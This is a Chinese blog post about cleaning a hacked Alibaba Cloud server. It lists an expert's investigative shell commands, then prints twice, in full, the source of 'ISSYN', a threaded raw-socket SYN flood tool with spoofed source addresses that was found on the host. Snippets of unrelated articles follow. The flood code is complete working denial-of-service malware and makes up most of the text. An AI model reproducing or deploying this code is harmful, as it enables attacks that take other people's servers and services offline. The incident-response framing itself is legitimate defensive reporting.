高手排除肉鸡的历史命令

我的阿里云主机受到了攻击,并且安装了后门

可以看看我前几天的博客:

解决阿里云主机收到攻击的问题:http://hw1287789687.iteye.com/blog/2269666

解决阿里云主机受到攻击的问题 2:http://hw1287789687.iteye.com/blog/2269701

但是还是没有完全搞定.

 

在绝望之际,想到了他,linux高手,酷爱linux,于是请他帮忙

分分钟就找到了病灶,并且麻利地捣毁了病灶.

Shell代码  

  1. [root@tti3rxdZ ~]# w  
  2.  19:07:22 up 58 min,  2 users,  load average: 0.00, 0.02, 0.00  
  3. USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT  
  4. root     pts/0    130.206.40.26     18:49   10.00s  0.07s  0.07s -bash  
  5. root     pts/1    64.205.63.4     19:07    0.00s  0.00s  0.00s w  

 下面是他的历史操作:

Shell代码  

  1. top  
  2. free -m  
  3. pstree  
  4. top -h  
  5. top java  
  6. who  
  7. login   
  8. w  
  9. ss  
  10. ss -tnlp  
  11. hostname   
  12. ss -nlp  
  13. ls /  
  14. cd /  
  15. cat s.c  
  16. ls  
  17. ls home/huang/  
  18. vim sync.c  
  19. cd /  
  20. ls  
  21. vim syn.c  
  22. ls  
  23. ls -l   
  24. pstree  
  25. ss  
  26. vim s.c  
  27. rm s.c syn.c   
  28. ls  
  29. rm CxxxController2.class   
  30. ls  
  31.   
  32. find . -name "*.class"  
  33. top  
  34. ps aux | grep java  
  35. ps aux | grep java | wc -l  
  36. ps aux   
  37. ls  
  38. cd tmp/  
  39. ls  
  40. file moni.lod   
  41. cat moni.lod   
  42. cat gates.lod   
  43. cd ..  
  44. ls  
  45. pstree  
  46. pstree.x11   
  47. which gshelld  
  48. uname -a  
  49. yum -h  
  50. yum info -h  
  51. rpm -h  
  52. rpm --help  
  53. which gshelld  
  54. rpm -qf /usr/sbin/gshelld   
  55. objdump -d /usr/sbin/gshelld   
  56. readelf -d /usr/sbin/gshelld   
  57. rpm -qf /usr/sbin/gshelld   
  58. file /usr/sbin/gshelld   
  59. stat /usr/sbin/gshelld   
  60. pstree  
  61. which getty  
  62. which AliHids  
  63. which ntpd  
  64. rpm -qf /usr/sbin/ntpd  
  65. which mingetty  
  66. rpm -qf /sbin/mingetty   
  67. cd /usr/sbin/  
  68. ls -l gshelld   
  69. ls -l  

 

终于找到了flood文件(肉鸡的病根),见附件

s.c:

C代码  

  1. // Improved SSYN Script - random ports, random flags. by SPAI3N.  
  2. #include <pthread.h>  
  3. #include <unistd.h>  
  4. #include <stdio.h>  
  5. #include <stdlib.h>  
  6. #include <string.h>  
  7. #include <sys/socket.h>  
  8. #include <netinet/ip.h>  
  9. #include <netinet/tcp.h>  
  10. #include <time.h>  
  11. #define MAX_PACKET_SIZE 4096  
  12. #define PHI 0x9e3779b9  
  13. static unsigned long int Q[4096], c = 362436;  
  14. volatile int limiter;  
  15. volatile unsigned int pps;  
  16. volatile unsigned int sleeptime = 100;  
  17.    
  18. void init_rand(unsigned long int x)  
  19. {  
  20.         int i;  
  21.         Q[0] = x;  
  22.         Q[1] = x + PHI;  
  23.         Q[2] = x + PHI + PHI;  
  24.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }  
  25. }  
  26. unsigned long int rand_cmwc(void)  
  27. {  
  28.         unsigned long long int t, a = 18782LL;  
  29.         static unsigned long int i = 4095;  
  30.         unsigned long int x, r = 0xfffffffe;  
  31.         i = (i + 1) & 4095;  
  32.         t = a * Q[i] + c;  
  33.         c = (t >> 32);  
  34.         x = t + c;  
  35.         if (x < c) {  
  36.                 x++;  
  37.                 c++;  
  38.         }  
  39.         return (Q[i] = r - x);  
  40. }  
  41. unsigned short csum (unsigned short *buf, int count)  
  42. {  
  43.         register unsigned long sum = 0;  
  44.         while( count > 1 ) { sum += *buf++; count -= 2; }  
  45.         if(count > 0) { sum += *(unsigned char *)buf; }  
  46.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }  
  47.         return (unsigned short)(~sum);  
  48. }  
  49.    
  50. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {  
  51.    
  52.         struct tcp_pseudo  
  53.         {  
  54.                 unsigned long src_addr;  
  55.                 unsigned long dst_addr;  
  56.                 unsigned char zero;  
  57.                 unsigned char proto;  
  58.                 unsigned short length;  
  59.         } pseudohead;  
  60.         unsigned short total_len = iph->tot_len;  
  61.         pseudohead.src_addr=iph->saddr;  
  62.         pseudohead.dst_addr=iph->daddr;  
  63.         pseudohead.zero=0;  
  64.         pseudohead.proto=IPPROTO_TCP;  
  65.         pseudohead.length=htons(sizeof(struct tcphdr));  
  66.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);  
  67.         unsigned short *tcp = malloc(totaltcp_len);  
  68.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));  
  69.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));  
  70.         unsigned short output = csum(tcp,totaltcp_len);  
  71.         free(tcp);  
  72.         return output;  
  73. }  
  74.    
  75. void setup_ip_header(struct iphdr *iph)  
  76. {  
  77.         char ip[17];  
  78.         snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);  
  79.         iph->ihl = 5;  
  80.         iph->version = 4;  
  81.         iph->tos = 0;  
  82.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);  
  83.         iph->id = htonl(rand()%54321);  
  84.         iph->frag_off = 0;  
  85.         iph->ttl = MAXTTL;  
  86.         iph->protocol = 6;  
  87.         iph->check = 0;  
  88.         iph->saddr = inet_addr(ip);  
  89. }  
  90.    
  91. void setup_tcp_header(struct tcphdr *tcph)  
  92. {  
  93.         tcph->source = htons(rand()%65535);  
  94.         tcph->seq = rand();  
  95.         tcph->ack_seq = 0;  
  96.         tcph->res1 = 0;  
  97.         tcph->res2 = 0;  
  98.         tcph->doff = 5;  
  99.         tcph->psh = 0;  
  100.         tcph->syn = 1;  
  101.         tcph->window = htons(65535);  
  102.         tcph->check = 0;  
  103.         tcph->urg_ptr = 0;  
  104. }  
  105.    
  106. void *flood(void *par1)  
  107. {  
  108.     char *td = (char *)par1;  
  109.     char datagram[MAX_PACKET_SIZE];  
  110.     struct iphdr *iph = (struct iphdr *)datagram;  
  111.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);  
  112.      
  113.     struct sockaddr_in sin;  
  114.     sin.sin_family = AF_INET;  
  115.     sin.sin_port = htons(rand()%54321);  
  116.     sin.sin_addr.s_addr = inet_addr(td);  
  117.   
  118.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);  
  119.     if(s < 0){  
  120.             fprintf(stderr, "Could not open raw socket.\n");  
  121.             exit(-1);  
  122.     }  
  123.     memset(datagram, 0, MAX_PACKET_SIZE);  
  124.     setup_ip_header(iph);  
  125.     setup_tcp_header(tcph);  
  126.     tcph->dest = htons(rand()%54321);  
  127.     iph->daddr = sin.sin_addr.s_addr;  
  128.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);  
  129.     int tmp = 1;  
  130.     const int *val = &tmp;  
  131.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){  
  132.             fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");  
  133.             exit(-1);  
  134.     }  
  135.     init_rand(time(NULL));  
  136.     register unsigned int i;  
  137.     i = 0;  
  138.     int psh = 0;  
  139.     int res1 = 0;  
  140.     int res2 = 0;  
  141.     while(1)  
  142.     {  
  143.         if(psh > 1) psh = 1;  
  144.         if(res1 > 4) res1 = 0;  
  145.         if(res2 > 3) res2 = 0;  
  146.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));  
  147.         setup_ip_header(iph);  
  148.         setup_tcp_header(tcph);  
  149.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);  
  150.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);  
  151.         tcph->dest = htons(rand()%65535);  
  152.         iph->daddr = sin.sin_addr.s_addr;  
  153.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);  
  154.         tcph->seq = rand_cmwc() & 0xFFFF;  
  155.         tcph->source = htons(rand_cmwc() & 0xFFFF);  
  156.         tcph->ack_seq = 1;  
  157.         tcph->psh = psh;  
  158.         tcph->res1 = res1;  
  159.         tcph->res2 = res2;  
  160.         tcph->check = 0;  
  161.         tcph->check = tcpcsum(iph, tcph);  
  162.         pps++;  
  163.         psh++;  
  164.         res1++;  
  165.         res2++;  
  166.         if(i >= limiter)  
  167.         {  
  168.                 i = 0;  
  169.                 usleep(sleeptime);  
  170.         }  
  171.         i++;  
  172.     }  
  173. }  
  174. int main(int argc, char *argv[ ])  
  175. {  
  176.         if(argc < 5){  
  177.                 fprintf(stdout, "ISSYN v1.0 - Improved by Spai3N\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);  
  178.                 exit(-1);  
  179.         }  
  180.         srand(time(0));   
  181.         int num_threads = atoi(argv[2]);  
  182.         int maxpps = atoi(argv[3]);  
  183.         limiter = 0;  
  184.         pps = 0;  
  185.         pthread_t thread[num_threads];    
  186.         int multiplier = 20;  
  187.         int i;  
  188.         fprintf(stderr, "Start flooding ...\n", argv[1]);  
  189.         for(i = 0;i<num_threads;i++){  
  190.                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);  
  191.         }  
  192.         fprintf(stderr, "Flooding: %s\n", argv[1]);  
  193.         for(i = 0;i<(atoi(argv[4])*multiplier);i++)  
  194.         {  
  195.                 usleep((1000/multiplier)*1000);  
  196.                 if((pps*multiplier) > maxpps)  
  197.                 {  
  198.                         if(1 > limiter)  
  199.                         {  
  200.                                 sleeptime+=100;  
  201.                         } else {  
  202.                                 limiter--;  
  203.                         }  
  204.                 } else {  
  205.                         limiter++;  
  206.                         if(sleeptime > 25)  
  207.                         {  
  208.                                 sleeptime-=25;  
  209.                         } else {  
  210.                                 sleeptime = 0;  
  211.                         }  
  212.                 }  
  213.                 pps = 0;  
  214.         }  
  215.    
  216.         return 0;  
  217. }  

 syn.c:

C代码  

  1. // Improved SSYN Script - random ports, random flags. by SPAI3N.  
  2. #include <pthread.h>  
  3. #include <unistd.h>  
  4. #include <stdio.h>  
  5. #include <stdlib.h>  
  6. #include <string.h>  
  7. #include <sys/socket.h>  
  8. #include <netinet/ip.h>  
  9. #include <netinet/tcp.h>  
  10. #include <time.h>  
  11. #define MAX_PACKET_SIZE 4096  
  12. #define PHI 0x9e3779b9  
  13. static unsigned long int Q[4096], c = 362436;  
  14. volatile int limiter;  
  15. volatile unsigned int pps;  
  16. volatile unsigned int sleeptime = 100;  
  17.    
  18. void init_rand(unsigned long int x)  
  19. {  
  20.         int i;  
  21.         Q[0] = x;  
  22.         Q[1] = x + PHI;  
  23.         Q[2] = x + PHI + PHI;  
  24.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }  
  25. }  
  26. unsigned long int rand_cmwc(void)  
  27. {  
  28.         unsigned long long int t, a = 18782LL;  
  29.         static unsigned long int i = 4095;  
  30.         unsigned long int x, r = 0xfffffffe;  
  31.         i = (i + 1) & 4095;  
  32.         t = a * Q[i] + c;  
  33.         c = (t >> 32);  
  34.         x = t + c;  
  35.         if (x < c) {  
  36.                 x++;  
  37.                 c++;  
  38.         }  
  39.         return (Q[i] = r - x);  
  40. }  
  41. unsigned short csum (unsigned short *buf, int count)  
  42. {  
  43.         register unsigned long sum = 0;  
  44.         while( count > 1 ) { sum += *buf++; count -= 2; }  
  45.         if(count > 0) { sum += *(unsigned char *)buf; }  
  46.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }  
  47.         return (unsigned short)(~sum);  
  48. }  
  49.    
  50. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {  
  51.    
  52.         struct tcp_pseudo  
  53.         {  
  54.                 unsigned long src_addr;  
  55.                 unsigned long dst_addr;  
  56.                 unsigned char zero;  
  57.                 unsigned char proto;  
  58.                 unsigned short length;  
  59.         } pseudohead;  
  60.         unsigned short total_len = iph->tot_len;  
  61.         pseudohead.src_addr=iph->saddr;  
  62.         pseudohead.dst_addr=iph->daddr;  
  63.         pseudohead.zero=0;  
  64.         pseudohead.proto=IPPROTO_TCP;  
  65.         pseudohead.length=htons(sizeof(struct tcphdr));  
  66.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);  
  67.         unsigned short *tcp = malloc(totaltcp_len);  
  68.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));  
  69.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));  
  70.         unsigned short output = csum(tcp,totaltcp_len);  
  71.         free(tcp);  
  72.         return output;  
  73. }  
  74.    
  75. void setup_ip_header(struct iphdr *iph)  
  76. {  
  77.         char ip[17];  
  78.         snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);  
  79.         iph->ihl = 5;  
  80.         iph->version = 4;  
  81.         iph->tos = 0;  
  82.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);  
  83.         iph->id = htonl(rand()%54321);  
  84.         iph->frag_off = 0;  
  85.         iph->ttl = MAXTTL;  
  86.         iph->protocol = 6;  
  87.         iph->check = 0;  
  88.         iph->saddr = inet_addr(ip);  
  89. }  
  90.    
  91. void setup_tcp_header(struct tcphdr *tcph)  
  92. {  
  93.         tcph->source = htons(rand()%65535);  
  94.         tcph->seq = rand();  
  95.         tcph->ack_seq = 0;  
  96.         tcph->res1 = 0;  
  97.         tcph->res2 = 0;  
  98.         tcph->doff = 5;  
  99.         tcph->psh = 0;  
  100.         tcph->syn = 1;  
  101.         tcph->window = htons(65535);  
  102.         tcph->check = 0;  
  103.         tcph->urg_ptr = 0;  
  104. }  
  105.    
  106. void *flood(void *par1)  
  107. {  
  108.     char *td = (char *)par1;  
  109.     char datagram[MAX_PACKET_SIZE];  
  110.     struct iphdr *iph = (struct iphdr *)datagram;  
  111.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);  
  112.      
  113.     struct sockaddr_in sin;  
  114.     sin.sin_family = AF_INET;  
  115.     sin.sin_port = htons(rand()%54321);  
  116.     sin.sin_addr.s_addr = inet_addr(td);  
  117.   
  118.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);  
  119.     if(s < 0){  
  120.             fprintf(stderr, "Could not open raw socket.\n");  
  121.             exit(-1);  
  122.     }  
  123.     memset(datagram, 0, MAX_PACKET_SIZE);  
  124.     setup_ip_header(iph);  
  125.     setup_tcp_header(tcph);  
  126.     tcph->dest = htons(rand()%54321);  
  127.     iph->daddr = sin.sin_addr.s_addr;  
  128.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);  
  129.     int tmp = 1;  
  130.     const int *val = &tmp;  
  131.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){  
  132.             fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");  
  133.             exit(-1);  
  134.     }  
  135.     init_rand(time(NULL));  
  136.     register unsigned int i;  
  137.     i = 0;  
  138.     int psh = 0;  
  139.     int res1 = 0;  
  140.     int res2 = 0;  
  141.     while(1)  
  142.     {  
  143.         if(psh > 1) psh = 1;  
  144.         if(res1 > 4) res1 = 0;  
  145.         if(res2 > 3) res2 = 0;  
  146.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));  
  147.         setup_ip_header(iph);  
  148.         setup_tcp_header(tcph);  
  149.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);  
  150.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);  
  151.         tcph->dest = htons(rand()%65535);  
  152.         iph->daddr = sin.sin_addr.s_addr;  
  153.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);  
  154.         tcph->seq = rand_cmwc() & 0xFFFF;  
  155.         tcph->source = htons(rand_cmwc() & 0xFFFF);  
  156.         tcph->ack_seq = 1;  
  157.         tcph->psh = psh;  
  158.         tcph->res1 = res1;  
  159.         tcph->res2 = res2;  
  160.         tcph->check = 0;  
  161.         tcph->check = tcpcsum(iph, tcph);  
  162.         pps++;  
  163.         psh++;  
  164.         res1++;  
  165.         res2++;  
  166.         if(i >= limiter)  
  167.         {  
  168.                 i = 0;  
  169.                 usleep(sleeptime);  
  170.         }  
  171.         i++;  
  172.     }  
  173. }  
  174. int main(int argc, char *argv[ ])  
  175. {  
  176.         if(argc < 5){  
  177.                 fprintf(stdout, "ISSYN v1.0 - Improved by Spai3N\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);  
  178.                 exit(-1);  
  179.         }  
  180.         srand(time(0));   
  181.         int num_threads = atoi(argv[2]);  
  182.         int maxpps = atoi(argv[3]);  
  183.         limiter = 0;  
  184.         pps = 0;  
  185.         pthread_t thread[num_threads];    
  186.         int multiplier = 20;  
  187.         int i;  
  188.         fprintf(stderr, "Start flooding ...\n", argv[1]);  
  189.         for(i = 0;i<num_threads;i++){  
  190.                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);  
  191.         }  
  192.         fprintf(stderr, "Flooding: %s\n", argv[1]);  
  193.         for(i = 0;i<(atoi(argv[4])*multiplier);i++)  
  194.         {  
  195.                 usleep((1000/multiplier)*1000);  
  196.                 if((pps*multiplier) > maxpps)  
  197.                 {  
  198.                         if(1 > limiter)  
  199.                         {  
  200.                                 sleeptime+=100;  
  201.                         } else {  
  202.                                 limiter--;  
  203.                         }  
  204.                 } else {  
  205.                         limiter++;  
  206.                         if(sleeptime > 25)  
  207.                         {  
  208.                                 sleeptime-=25;  
  209.                         } else {  
  210.                                 sleeptime = 0;  
  211.                         }  
  212.                 }  
  213.                 pps = 0;  
  214.         }  
  215.    
  216.         return 0;  
  217. }  

 

时间: 2024-08-29 03:41:03

高手排除肉鸡的历史命令的相关文章

实现linux下历史命令功能的rlwrap工具

在linux下使用Oracle的sqlplus命令时, 每次都需要重新输入命令很是烦恼,就连输错字,backspace键也不能用,只能delete 很是不习惯 现在有一个工具可以实现linux下的历史命令功能: rlwrap 下载地址是: http://utopia.knoware.nl/~hlub/uck/rlwrap/ 安装 解压缩: tar zxvf rlwrap-0.36.tar.gz ./configure make make install 用户配置文件配置 # echo 'alia

Python实现Tab自动补全和历史命令管理的方法_python

本文实例讲述了Python实现Tab自动补全和历史命令管理的方法.分享给大家供大家参考.具体分析如下: Python的startup文件,即环境变量 PYTHONSTARTUP 对应的文件 1. 为readline添加tab键自动补全的功能 2. 像Shell一样管理历史命令 代码如下: 复制代码 代码如下: import rlcompleter import readline import atexit import os # http://stackoverflow.com/question

请教各位,linux怎么找历史命令

问题描述 请教各位,linux怎么找历史命令 我想找很久以前的命令怎么快速找到呢?可以按时间找吗?比如现在想找2015年10月份用的命令? 解决方案 参考一下这个:http://blog.csdn.net/lixiaohuiok111/article/details/34428161 解决方案二: history 命令试试 解决方案三: history命令 但是你没有提前设置过的话,是无法查看的具体时间的. 设置history命令记录精确时间的方法让linux的history命令显示操作时间

linux中 shell 历史命令记录功能_Linux

在 Linux 下面可以使用 history 命令查看用户的所有历史操作,同时 shell 命令操作记录默认保存在用户目录的 .bash_history 文件中.通过这个文件可以查询 shell 命令的执行历史,有助于运维人员进行系统审计和问题排查,同时在服务器遭受黑客攻击后,也可以查询黑客登录服务器的历史命令操作.但是黑客在入侵后,为了抹除痕迹,会删除 .bash_history 文件,这个就需要合理备份这个文件了. 默认的 history 命令只能查看用户的历史操作记录,但是不能区分每个用户

高手起步系列之DOS命令

DOS的内部命令是进行操作的基础. &http://www.aliyun.com/zixun/aggregation/37954.html">nbsp;   1)DIR--显示指定路径上所有文件或目录的信息     它的格式为"DIR [盘符:][路径][文件名] [参数]",比如"DIR E:\FF.M3U".输入后回车则会显示出相关信息(如图1).另外它还有几个参数: /W:宽屏显示,一排显示5个文件名,而不会显示修改时间,文件大小等信息

PowerShell复制命令行历史命令方法_PowerShell

适用于所有PowerShell版本 要保存你在当前PowerShell控制台上输入的所有的PowerShell命令,试试下面的代码: 复制代码 代码如下: (Get-History).CommandLine | clip.exe 它会复制所有的命令道剪贴板,然后你可以把它复制进PowerShell ISE,再保存.

工资查询--请高手排除下错误!实在忍受不了了!!

问题描述 PersonSTRUCTNameDB'********************';20个字符TimeDB4DUP(?)EfficDB4DUP(?)WageDB8DUP(?)PersonENDSDATASEGMENTString1DB'PleaseinputName:','$'String2DB'Error!AgaininputName:','$'Stirng3DB'PleaseinputTime:','$'String4DB'PleaseinputEffic:','$'String3D

Oracle 12C R2-新特性-SQLPLUS提供查看历史命令的功能

           >    >    >    >    >    >>>    >>>    >>                 >>>>>> >>>>>> >>>

linux下history(历史)命令用法详解

 如果你经常使用 Linux 命令行,那么使用 history(历史)命令可以有效地提升你的效率.本文将通过实例的方式向你介绍 history 命令的15个用法. 1. 使用 HISTTIMEFORMAT 显示时间戳 当你从命令行执行 history 命令后,通常只会显示已执行命令的序号和命令本身.如果你想要查看命令历史的时间戳,那么可以执行: # export HISTTIMEFORMAT='%F %T ' # history | more 1 2008-08-05 19:02:39 serv